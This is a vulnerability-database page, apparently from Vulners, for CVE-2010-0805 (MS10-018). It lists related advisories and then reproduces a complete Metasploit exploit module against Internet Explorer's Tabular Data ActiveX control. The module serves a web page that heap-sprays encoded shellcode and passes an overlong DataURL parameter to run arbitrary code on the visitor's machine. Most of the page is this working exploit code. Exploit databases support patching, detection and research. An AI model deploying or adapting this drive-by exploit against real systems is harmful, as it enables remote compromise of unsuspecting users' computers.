| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Microsoft Internet Explorer Tabular Data Control ActiveX Code Execution | 3 Apr 201000:00 | – | zdt | |
| CVE-2010-0805 | 30 Apr 201000:00 | – | circl | |
| Internet Explorer Tabular Control Memory Corruption (MS10-018; CVE-2010-0805) | 1 Apr 201000:00 | – | checkpoint_advisories | |
| CVE-2010-0805 | 31 Mar 201019:00 | – | cve | |
| CVE-2010-0805 | 31 Mar 201019:00 | – | cvelist | |
| Microsoft Internet Explorer Tabular Data Control - ActiveX Remote Code Execution | 3 Apr 201000:00 | – | exploitdb | |
| Microsoft Internet Explorer Tabular Data Control - ActiveX Remote Code Execution | 3 Apr 201000:00 | – | exploitpack | |
| MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption | 5 Apr 201020:25 | – | metasploit | |
| CVE-2010-0805 | 31 Mar 201019:30 | – | nvd | |
| Microsoft Internet Explorer Multiple Vulnerabilities (980182) | 1 Apr 201000:00 | – | openvas |
##
# $Id: ms10_018_ie_tabular_activex.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability in the Internet Explorer
Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
Explorer are vulnerable.
By specifying a long value as the "DataURL" parameter to this control, it is possible
to write a NUL byte outside the bounds of an array. By targeting control flow data
on the stack, an attacker can execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Anonymous', # original discovery
'jduck' # metasploit version
],
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2010-0805' ],
[ 'OSVDB', '63329' ],
[ 'BID', '39025' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ],
[ 'MSB', 'MS10-018' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "", #"\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic (Heap Spray)',
{
'Ret' => 0x0c0c0c0c
}
],
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...")
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return\nops
ret = Rex::Text.to_unescape([target.ret].pack('V'))
# ActiveX parameters
#progid =
clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"
# exploit url
url = "http://"
#url << rand_text_alphanumeric(258)
url << rand_text_alphanumeric(258+0x116+2)
# Construct the final page
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_memory = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
html = %Q|<html><body>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}("#{ret * 2}");
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
</script>
<object classid='clsid:#{clsid}'>
<param name='DataURL' value='#{url}'/>
</object>
</body></html>
|
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation